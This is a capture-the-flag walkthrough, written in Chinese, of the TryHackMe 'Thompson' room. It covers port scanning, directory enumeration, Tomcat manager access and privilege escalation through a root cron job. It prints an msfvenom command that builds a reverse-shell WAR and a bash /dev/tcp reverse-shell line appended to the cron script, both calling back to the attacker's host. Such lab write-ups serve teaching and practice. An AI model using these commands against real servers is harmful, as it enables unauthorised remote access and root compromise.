

# Thompson

**URL** 

https://tryhackme.com/room/bsidesgtthompson

**IP** 10.10.178.87



```
rustscan -a 10.10.178.87 -r 1-65535 --ulimit 5000
The Modern Day Port Scanner.
: http://discord.skerritt.blog
: https://github.com/RustScan/RustScan :
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
The config file is expected to be at "/root/.rustscan.toml"
   Automatically increasing ulimit value to 5000.
Open 10.10.178.87:22
Open 10.10.178.87:8009
Open 10.10.178.87:8080
Starting Script(s)
    Running script "nmap -vvv -p {{port}} {{ip}} -sC -sV" on ip 10.10.178.87
```

先使用rustscan搭配nmap來針對服務做服務探測及預設腳本列舉



#### 看到8009想到GHOSTCAT,嘗試了一下,確實有,但沒什麼利用的價值

## 連進8080就是普通的tomcat歡迎頁面,沒什麼特別的 所以做一下目錄探測

```
dirsearch -u http://10.10.178.87:8080 -w ~/working/tools/SecLists/Discovery/Web-Content/dirsearch.txt -t 300
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 300 | Wordlist size: 29378
Output File: /root/.dirsearch/reports/10.10.178.87-8080/ 23-10-10 22-42-42.txt
Error Log: /root/.dirsearch/logs/errors-23-10-10 22-42-42.log
Target: http://10.10.178.87:8080/
[22:42:42] Starting:
[22:42:47] 200 - 11KB - /.
[22:45:23] 200 - 16KB - /docs/
[22:45:32] 302 - 0B - /examples \rightarrow /examples/
[22:45:35] 200 - 21KB - /favicon.ico
[22:45:38] 200 - 1KB - /examples/
[22:46:14] 302 - OB - /manager → /manager/
Task Completed
```



# 探測完沒什麼特別的,就是一些需要apache驗證後才能看到的

⊕ 10.10.178.87:8080		
This site is asking you to sign in.		
Username		
Password		
	Cancel	Sign in

先簡單打幾組,都失敗了 按下Cancel準備要來給hydra來破破看的時候 就發現帳密了



成功進入後台後,簡單逛了一下 看到了一個很特殊的網址,連進去沒內容 以為是密碼,但找了一下沒有帳號的線索

發現可以透過WAR檔來部署網頁 於是就想到可以試試reverse shell

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.8.58.168 LPORT=9999 -f war > shell.war
Payload size: 1094 bytes
Final size of war file: 1094 bytes
```

透過msfvenom來幫我們做出有reverse shell功能的WAR檔,並上傳





## 上傳完後,先用nc聽一下WAR上寫的port,然後連/shell

```
listening on [any] 9999 ...
connect to [10.8.58.168] from (UNKNOWN) [10.10.178.87] 38650
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

#### 成功取得shell

```
cd /home
ls -l
total 4
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 jack
cd jack
ls -l
total 12
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
-rw-r--r-- 1 root root 39 Oct 10 08:31 test.txt
-rw-rw-r-- 1 jack jack 33 Aug 14 2019 user.txt
```

在一般user的家目錄中,user.txt為第一題答案



## 看到有個shell script,根據經驗就想到應該有個排程執行它

```
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin
# m h dom mon dow user command
       * * * root cd / & run-parts -- report /etc/cron.hourly
                       test -x /usr/sbin/anacron || ( cd / & run-parts -- report /etc/cron.daily )
47 6
                       test -x /usr/sbin/anacron || ( cd / & run-parts -- report /etc/cron.weekly )
               root
                       test -x /usr/sbin/anacron || ( cd / & run-parts -- report /etc/cron.monthly )
               root
                       cd /home/jack & bash id.sh
               root
```

看了一下果然有,而且還是root身份

回頭看了一下現在的身份可以修改這支shell script 那就透過bash再做一個reverse shell吧



### 改完之後再用nc聽1234port,等個最多一分鐘

```
echo 'bash -c $( bash -i >& /dev/tcp/10.8.58.168/1234 0>&1 )' >> id.sh
```

#### 就成功拿到root的shell啦

```
listening on [any] 1234 ...
connect to [10.8.58.168] from (UNKNOWN) [10.10.178.87] 39056
bash: cannot set terminal process group (1292): Inappropriate ioctl for device bash: no job control in this shell
root@ubuntu:/home/jack#
```

在root的家目錄中可以找到第二題答案

